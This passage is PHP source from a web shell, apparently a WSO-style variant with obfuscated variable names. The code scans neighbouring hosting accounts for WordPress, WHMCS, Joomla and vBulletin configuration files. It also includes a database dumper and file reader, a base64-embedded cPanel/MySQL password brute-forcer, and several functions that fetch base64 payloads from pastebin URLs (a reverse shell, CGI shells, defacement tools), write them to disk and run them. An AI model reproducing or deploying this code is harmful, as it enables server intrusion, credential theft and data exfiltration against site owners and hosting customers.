$IIIIIIIIl1I1 = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/support/configuration.php'; $IIIIIIIIl1II = get_headers($IIIIIIIIl1I1); $IIIIIIIIl1lI = $IIIIIIIIl1II[0]; $IIIIIIIIl1ll = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/client/configuration.php'; $IIIIIIIIl1l1 = get_headers($IIIIIIIIl1ll); $IIIIIIIIl11I = $IIIIIIIIl1l1[0]; $IIIIIIIIl11l = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/submitticket.php'; $IIIIIIIIl111 = get_headers($IIIIIIIIl11l); $IIIIIIII1III = $IIIIIIIIl111[0]; $IIIIIIII1IIl = $IIIIIIIIIIIl . '/sym/root/home/' . $IIIIIIIII1I1['name'] . '/public_html/client/configuration.php'; $IIIIIIII1II1 = get_headers($IIIIIIII1IIl); $IIIIIIII1IlI = $IIIIIIII1II1[0]; $IIIIIIII1Ill = strpos($IIIIIIIII11l, '200'); $IIIIIIII1I1I = '&nbsp;'; if (strpos($IIIIIIIII11l, '200') == true) {
  1655. $IIIIIIII1I1I = "<a href='" . $IIIIIIIII1l1 . "' target='_blank'>Wordpress</a>"; } elseif (strpos($IIIIIIIIlIIl, '200') == true) {
  1656. $IIIIIIII1I1I = "<a href='" . $IIIIIIIII111 . "' target='_blank'>Wordpress</a>"; } elseif (strpos($IIIIIIIIlIll, '200') == true and strpos($IIIIIIII1III, '200') == true) {
  1657. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIl11l . "' target='_blank'>WHMCS</a>"; } elseif (strpos($IIIIIIIIl1lI, '200') == true) {
  1658. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIl1I1 . "' target='_blank'>WHMCS</a>"; } elseif (strpos($IIIIIIIIl11I, '200') == true) {
  1659. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIl1ll . "' target='_blank'>WHMCS</a>"; } elseif (strpos($IIIIIIIIlIll, '200') == true) {
  1660. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlII1 . "' target='_blank'>Joomla</a>"; } elseif (strpos($IIIIIIIIlI1l, '200') == true) {
  1661. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlIl1 . "' target='_blank'>Joomla</a>"; } elseif (strpos($IIIIIIIIllIl, '200') == true) {
  1662. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlI11 . "' target='_blank'>vBulletin</a>"; } elseif (strpos($IIIIIIIIllll, '200') == true) {
  1663. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIllI1 . "' target='_blank'>vBulletin</a>"; } elseif (strpos($IIIIIIIIll1l, '200') == true) {
  1664. $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlll1 . "' target='_blank'>vBulletin</a>"; } else {
  1665. continue; } $IIIIIIII1I1l = $IIIIIIIII1I1['name']; echo '<tr><td><a href=http://www.' . $IIIIIIIIIl11[1][0] . '/>' . $IIIIIIIIIl11[1][0] . '</a></td>
  1666. <td>' . $IIIIIIII1I1I . '</td></tr>'; flush();
  1667. } }
  1668. } } echo "</center></table>";
  1669. }
  1670. echo "</div>";
  1671. yemenfooter(); } function yemensql() {
  1672. class DbClass { var $type; var $link; var $res; function DbClass($type) {
  1673. $this->type = $type; } function connect($host, $user, $pass, $dbname) {
  1674. switch ($this->type) { case 'mysql':
  1675. if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
  1676. break; case 'pgsql':
  1677. $host = explode(':', $host);
  1678. if (!$host[1]) $host[1] = 5432;
  1679. if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
  1680. break; } return false;
  1681. }
  1682. function selectdb($db) { switch ($this->type) {
  1683. case 'mysql': if (@mysql_select_db($db)) return true; break;
  1684. }
  1685. return false;
  1686. }
  1687. function query($str) { switch ($this->type) {
  1688. case 'mysql': return $this->res = @mysql_query($str);
  1689. break;
  1690. case 'pgsql': return $this->res = @pg_query($this->link, $str);
  1691. break; } return false;
  1692. }
  1693. function fetch() { $res = func_num_args() ? func_get_arg(0) : $this->res; switch ($this->type) {
  1694. case 'mysql': return @mysql_fetch_assoc($res);
  1695. break;
  1696. case 'pgsql': return @pg_fetch_assoc($res);
  1697. break; } return false;
  1698. }
  1699. function listDbs() { switch ($this->type) {
  1700. case 'mysql': return $this->query("SHOW databases");
  1701. break;
  1702. case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1703. break; } return false;
  1704. }
  1705. function listTables() { switch ($this->type) {
  1706. case 'mysql': return $this->res = $this->query('SHOW TABLES');
  1707. break;
  1708. case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1709. break; } return false;
  1710. }
  1711. function error() { switch ($this->type) {
  1712. case 'mysql': return @mysql_error();
  1713. break;
  1714. case 'pgsql': return @pg_last_error();
  1715. break; } return false;
  1716. }
  1717. function setCharset($str) { switch ($this->type) {
  1718. case 'mysql': if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET ' . $str); break;
  1719. case 'pgsql': return @pg_set_client_encoding($this->link, $str); break;
  1720. }
  1721. return false; } function loadFile($str) {
  1722. switch ($this->type) { case 'mysql':
  1723. return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file")); break; case 'pgsql':
  1724. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
  1725. $r = array();
  1726. while ($i = $this->fetch()) $r[] = $i['file'];
  1727. $this->query('drop table wso2');
  1728. return array('file' => implode("
  1729. ", $r));
  1730. break; } return false; } function dump($table, $fp = false) {
  1731. switch ($this->type) { case 'mysql':
  1732. $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
  1733. $create = mysql_fetch_array($res);
  1734. $sql = $create[1] . ";
  1735. ";
  1736. if ($fp) fwrite($fp, $sql);
  1737. else echo ($sql);
  1738. $this->query('SELECT * FROM `' . $table . '`');
  1739. $head = true;
  1740. while ($item = $this->fetch()) { $columns = array(); foreach ($item as $k => $v) {
  1741. if ($v == null) $item[$k] = "NULL";
  1742. elseif (is_numeric($v)) $item[$k] = $v;
  1743. else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
  1744. $columns[] = "`" . $k . "`"; } if ($head) {
  1745. $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
  1746.     (" . implode(", ", $item) . ')';
  1747. $head = false; } else $sql = "
  1748.     ,(" . implode(", ", $item) . ')'; if ($fp) fwrite($fp, $sql); else echo ($sql);
  1749. }
  1750. if (!$head) if ($fp) fwrite($fp, ";
  1751. ");
  1752. else echo (";
  1753. ");
  1754. break; case 'pgsql':
  1755. $this->query('SELECT * FROM ' . $table);
  1756. while ($item = $this->fetch()) { $columns = array(); foreach ($item as $k => $v) {
  1757. $item[$k] = "'" . addslashes($v) . "'";
  1758. $columns[] = $k; } $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
  1759. "; if ($fp) fwrite($fp, $sql); else echo ($sql);
  1760. }
  1761. break; } return false;
  1762. } }; $db = new DbClass($_POST['type']); if (@$_POST['p2'] == 'download') {
  1763. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1764. $db->selectdb($_POST['sql_base']);
  1765. switch ($_POST['charset']) { case "Windows-1251":
  1766. $db->setCharset('cp1251'); break; case "UTF-8":
  1767. $db->setCharset('utf8'); break; case "KOI8-R":
  1768. $db->setCharset('koi8r'); break; case "KOI8-U":
  1769. $db->setCharset('koi8u'); break; case "cp866":
  1770. $db->setCharset('cp866'); break;
  1771. }
  1772. if (empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach ($_POST['tbl'] as $v) $db->dump($v); exit;
  1773. } elseif ($fp = @fopen($_POST['file'], 'w')) { foreach ($_POST['tbl'] as $v) $db->dump($v, $fp); fclose($fp); unset($_POST['p2']);
  1774. } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); } yemenhead(); echo "
  1775. <div class=header>
  1776. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1777. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1778. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  1779. <td><select name='type'><option value='mysql' "; if (@$_POST['type'] == 'mysql') echo 'selected'; echo ">MySql</option><option value='pgsql' "; if (@$_POST['type'] == 'pgsql') echo 'selected'; echo ">PostgreSql</option></select></td>
  1780. <td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
  1781. <td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
  1782. <td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>"; $tmp = "<input type=text name=sql_base value=''>"; if (isset($_POST['sql_host'])) {
  1783. if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { switch ($_POST['charset']) {
  1784. case "Windows-1251": $db->setCharset('cp1251');
  1785. break;
  1786. case "UTF-8": $db->setCharset('utf8');
  1787. break;
  1788. case "KOI8-R": $db->setCharset('koi8r');
  1789. break;
  1790. case "KOI8-U": $db->setCharset('koi8u');
  1791. break;
  1792. case "cp866": $db->setCharset('cp866');
  1793. break; } $db->listDbs(); echo "<select name=sql_base><option value=''></option>"; while ($item = $db->fetch()) {
  1794. list($key, $value) = each($item);
  1795. echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>'; } echo '</select>';
  1796. } else echo $tmp; } else echo $tmp; echo "</td>
  1797.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1798. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
  1799.             </tr>
  1800.         </table>
  1801.         <script>
  1802. s_db='" . @addslashes($_POST['sql_base']) . "';
  1803. function fs(f) {
  1804. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1805. if(f.p1) f.p1.value='';
  1806. if(f.p2) f.p2.value='';
  1807. if(f.p3) f.p3.value='';
  1808. }
  1809. }
  1810.             function st(t,l) {
  1811.                 d.sf.p1.value = 'select';
  1812.                 d.sf.p2.value = t;
  1813. if(l && d.sf.p3) d.sf.p3.value = l;
  1814.                 d.sf.submit();
  1815.             }
  1816.             function is() {
  1817.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1818.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1819.             }
  1820.         </script>"; if (isset($db) && $db->link) {
  1821. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1822. if (!empty($_POST['sql_base'])) { $db->selectdb($_POST['sql_base']); echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while ($item = $db->fetch($tbls_res)) {
  1823. list($key, $value) = each($item);
  1824. if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
  1825. $value = htmlspecialchars($value);
  1826. echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; if (@$_POST['p1'] == 'select') {
  1827. $_POST['p1'] = 'query';
  1828. $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
  1829. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1830. $num = $db->fetch();
  1831. $pages = ceil($num['n'] / 30);
  1832. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1833. echo " of $pages";
  1834. if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
  1835. if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
  1836. $_POST['p3']--;
  1837. if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
  1838. else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
  1839. echo "<br><br>"; } if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1840. $db->query(@$_POST['p2']);
  1841. if ($db->res !== false) { $title = false; echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; $line = 1; while ($item = $db->fetch()) {
  1842. if (!$title) { echo '<tr>'; foreach ($item as $key => $value) echo '<th>' . $key . '</th>'; reset($item); $title = true; echo '</tr><tr>'; $line = 2;
  1843. }
  1844. echo '<tr class="l' . $line . '">';
  1845. $line = $line == 1 ? 2 : 1;
  1846. foreach ($item as $key => $value) { if ($value == null) echo '<td><i>null</i></td>'; else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
  1847. }
  1848. echo '</tr>'; } echo '</table>';
  1849. } else { echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  1850. } } echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']); echo "</textarea><br/><input type=submit value='Execute'>"; echo "</td></tr>";
  1851. }
  1852. echo "</table></form><br/>";
  1853. if ($_POST['type'] == 'mysql') { $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1854. }
  1855. if (@$_POST['p1'] == 'loadfile') { $file = $db->loadFile($_POST['p2']); echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
  1856. } } else {
  1857. echo htmlspecialchars($db->error()); } echo '</div>'; yemenfooter();
  1858. }
  1859. function yemenbf() {
  1860.     yemenhead();
  1861.     $cp1 = 'PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQplY2hvICcNCjxoZWFkPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSB7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCiAgICBmb250LXNpemU6IDE4cHg7DQoJY29sb3I6ICNjY2NjY2M7DQp9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjY2NjY2NjOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzJDMkMyQzsNCmJhY2tncm91bmQtY29sb3I6ICMwODA4MDgNCn0NCmEgew0KCWJhY2tncm91bmQtY29sb3I6ICMxNTE1MTU7DQoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgljb2xvcjogIzAwMDsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJZm9udC1zaXplOiAyMHB4Ow0KCW1hcmdpbjogOHB4Ow0KCXBhZGRpbmc6IDZweDsNCglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCn0NCmE6aG92ZXIgew0KCWJhY2tncm91bmQtY29sb3I6ICMwODA4MDg7DQoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgljb2xvcjogIzMzMzsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJZm9udC1zaXplOiAyMHB4Ow0KCW1hcmdpbjogOHB4Ow0KCXBhZGRpbmc6IDZweDsNCglib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCn0NCi5zdHlsZTEgew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5zdHlsZTIgew0KCWNvbG9yOiAjRkZGRkZGOw0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KLnN0eWxlMyB7DQoJY29sb3I6ICNGRkZGRkY7DQp9DQotLT4NCjwvc3R5bGU+DQoNCjwvaGVhZD4NCic7DQpmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCkgDQp7DQokcmV0ID0gIjxpbnB1dCB0eXBlPSIuJHR5cGUuIiBuYW1lPSIuJG5hbWUuIiAiO2lmKCRzaXplICE9IDApIA0Kew0KJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjt9DQokcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7aWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjtyZXR1cm4gJHJldC4iPiI7fQ0KZWNobyAiPGJyPjx0aXRsZT5CcnV0ZSBGb3JjZSBCeSBNb25kczwvdGl0bGU+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQplY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTtlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTtlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTtlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTtlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pO2VjaG8gaW4oJ2hpZGRlbicsJ2NjY2MnLDAsJ2RiX3F1ZXJ5Jyk7DQoNCmlmKCRfUE9TVFsncGFnZSddPT0nZmluZCcpDQp7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJmlzc2V0KCRfUE9TVFsncGFzc3dvcmRzJ10pKQ0Kew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3Bhc3N3ZCcpew0KJGUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZXMnXSk7DQpmb3JlYWNoKCRlIGFzICR2YWx1ZSl7DQokayA9IGV4cGxvZGUoIjoiLCR2YWx1ZSk7DQokdXNlcm5hbWUgLj0gJGtbJzAnXS4iICI7DQp9DQp9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdzaW1wbGUnKXsNCiR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KfQ0KJGExID0gZXhwbG9kZSgiICIsJHVzZXJuYW1lKTsNCiRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsNCiRpZDIgPSBjb3VudCgkYTIpOw0KJG9rID0gMDsNCmZvcmVhY2goJGExIGFzICR1c2VyICkNCnsNCmlmKCR1c2VyICE9PSAnJykNCnsNCiR1c2VyPXRyaW0oJHVzZXIpOw0KZm9yKCRpPTA7JGk8PSRpZDI7JGkrKykNCnsNCiRwYXNzID0gdHJpbSgkYTJbJGldKTsNCmlmKEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCR1c2VyLCRwYXNzKSkNCnsNCmVjaG8gIkJMQUNLfiB1c2VyIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kdXNlcjwvZm9udD48L2I+KSBQYXNzd29yZCBpcyAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KJG9rKys7DQp9DQp9DQp9DQp9DQplY2hvICI8aHI+PGI+WW91IEZvdW5kIDxmb250IGNvbG9yPWdyZWVuPiRvazwvZm9udD4gQ3BhbmVsIEJ5IEJMQUNLIFNjcmlwdCBOYW1lPC9iPiI7DQplY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IjsNCmV4aXQ7DQp9DQp9DQo7ZWNobyAnDQoNCg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCgk8c3Ryb25nPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImZpbmQiPiAgICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQogICAgPHRyPg0KICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiPjxjZW50ZXI+PGJyPg0KCQk8L3N0cm9uZz4NCgkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL21vbmRzLmhhY2tlcnMiIGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+RGV2ZWxvcGVkIEJ5IA0KPGZvbnQgY29sb3I9IiNGRjAwMDAiPk1vbmRzPC9mb250Pjwvc3Ryb25nPjwvYT48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PC9jZW50ZXI+PC90ZD48L2ZvbnQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkPg0KICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+DQoJPHN0cm9uZz5Vc2VyIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjEwIiBuYW1lPSJ1c2VybmFtZXMiPjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPg0KCTxzdHJvbmc+UGFzcyA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PHRleHRhcmVhIGNvbHM9IjQwIiByb3dzPSIxMCIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjwvc3Ryb25nPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUyIiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4NCgk8c3Ryb25nPlR5cGUgOjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCiAgICA8c3BhbiBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPlNpbXBsZSA6IDwvc3Ryb25nPiA8L3NwYW4+DQoJPHN0cm9uZz4NCgk8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InR5cGUiIHZhbHVlPSJzaW1wbGUiIGNoZWNrZWQ9ImNoZWNrZWQiIGNsYXNzPSJzdHlsZTMiPjwvc3Ryb25nPg0KICAgIDxmb250IGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+L2V0Yy9wYXNzd2QgOiA8L3N0cm9uZz4gPC9mb250Pg0KCTxzdHJvbmc+DQoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0icGFzc3dkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz48c3BhbiBjbGFzcz0ic3R5bGUzIj48c3Ryb25nPg0KCTwvc3Ryb25nPg0KCTwvc3Bhbj4NCiAgICA8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN0YXJ0Ij4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPg0KICAgIDx0cj4NCjwvZm9ybT4gICAgDQogICAgDQogICAgDQogICANCic7DQppZigkX1BPU1RbJ2F0dCddPT1udWxsKQ0Kew0KZWNobyAnCQkJCQkJICc7DQp9ZWxzZXsNCmVjaG8gIgkJCQkJCSANCgkJCQkJCSANCiI7DQp9';
  1862.     $file = fopen("cpanel.php", "w+");
  1863.     $file = fopen("cpanel.php", "w+");
  1864.     $write = fwrite($file, base64_decode($cp1));
  1865.     fclose($file);
  1866.     echo '<iframe src="cpanel.php" style="height:500px; width:1500px; border:0px;" name="brute">';
  1867.     yemenfooter();
  1868. }
  1869. function yemenrev() {
  1870.     $reverse = file_get_contents('http://pastebin.com/raw.php?i=8AxYU3Rd');
  1871.     $file = fopen("rev.php", "w+");
  1872.     $write = fwrite($file, base64_decode($reverse));
  1873.     fclose($file);
  1874.     yemenhead();
  1875.     echo '<iframe src="rev.php" style="height:500px; width:500px; border:0px;" name="reverse">';
  1876.     yemenfooter();
  1877. }
  1878. function yemenconpass() {
  1879.  yemenhead();
  1880.  echo '<center><embed  src="http://nyccah.rayogram.com/3Turr" style="height:250px; width:99%; border:4px solid #ccc;;" name="conpass" ></embed></center>';
  1881.  yemenfooter();
  1882. }
  1883. function yemenperl() {
  1884.     mkdir('cgirun', 0755);
  1885.     chdir('cgirun');
  1886.     $kokdosya = ".htaccess";
  1887.     $dosya_adi = "$kokdosya";
  1888.     $dosya = fopen($dosya_adi, 'w') or die("khong the tao shell!");
  1889.     $metin = "AddHandler cgi-script .pr";
  1890.     fwrite($dosya, $metin);
  1891.     fclose($dosya);
  1892.     $cgico = @file_get_contents('http://pastebin.com/raw.php?i=7xJptQEY');
  1893.     $file = fopen("cgi.pr", "w+");
  1894.     $write = fwrite($file, base64_decode($cgico));
  1895.     fclose($file);
  1896.     chmod("cgi.pr", 0755);
  1897.     yemenhead();
  1898.     echo '<iframe src="cgirun/cgi.pr" style="height:500px; width:1000px; border:0px;" name="config">';
  1899. }
  1900. function yemenperl4() {
  1901.     mkdir('cgirun', 0755);
  1902.     chdir('cgirun');
  1903.     $dosya = fopen('.htaccess', 'w') or die("Do it manually !");
  1904.     $metin = "AddHandler cgi-script .pr";
  1905.     fwrite($dosya, $metin);
  1906.     fclose($dosya);
  1907.     $cgico = file_get_contents('http://pastebin.com/raw.php?i=hsMFJvrK');
  1908.     $file = fopen("cgi4.pr", "w+");
  1909.     $write = fwrite($file, base64_decode($cgico));
  1910.     fclose($file);
  1911.     chmod("cgi4.pr", 0755);
  1912.     yemenhead();
  1913.     echo '<iframe src="cgirun/cgi4.pr" style="height:500px; width:1000px; border:0px;" name="config">';
  1914. }
  1915. function yemenzone() {
  1916.     yemenhead();
  1917.     $zone1 = file_get_contents('http://pastebin.com/raw.php?i=jwz4TeZq');
  1918.     $file = fopen("zone.php", "w+");
  1919.     $write = fwrite($file, base64_decode($zone1));
  1920.     fclose($file);
  1921.     echo '<iframe src="zone.php" style="height:500px; width:1500px; border:0px;" name="zone">';
  1922.     yemenfooter();
  1923. }
  1924. function yemenzonejoy() {
  1925.     yemenhead();
  1926.     $zone1 = file_get_contents('http://pastebin.com/raw.php?i=aLsyUHdu');
  1927.     $file = fopen("zonejoy.php", "w+");
  1928.     $write = fwrite($file, base64_decode($zone1));
  1929.     fclose($file);
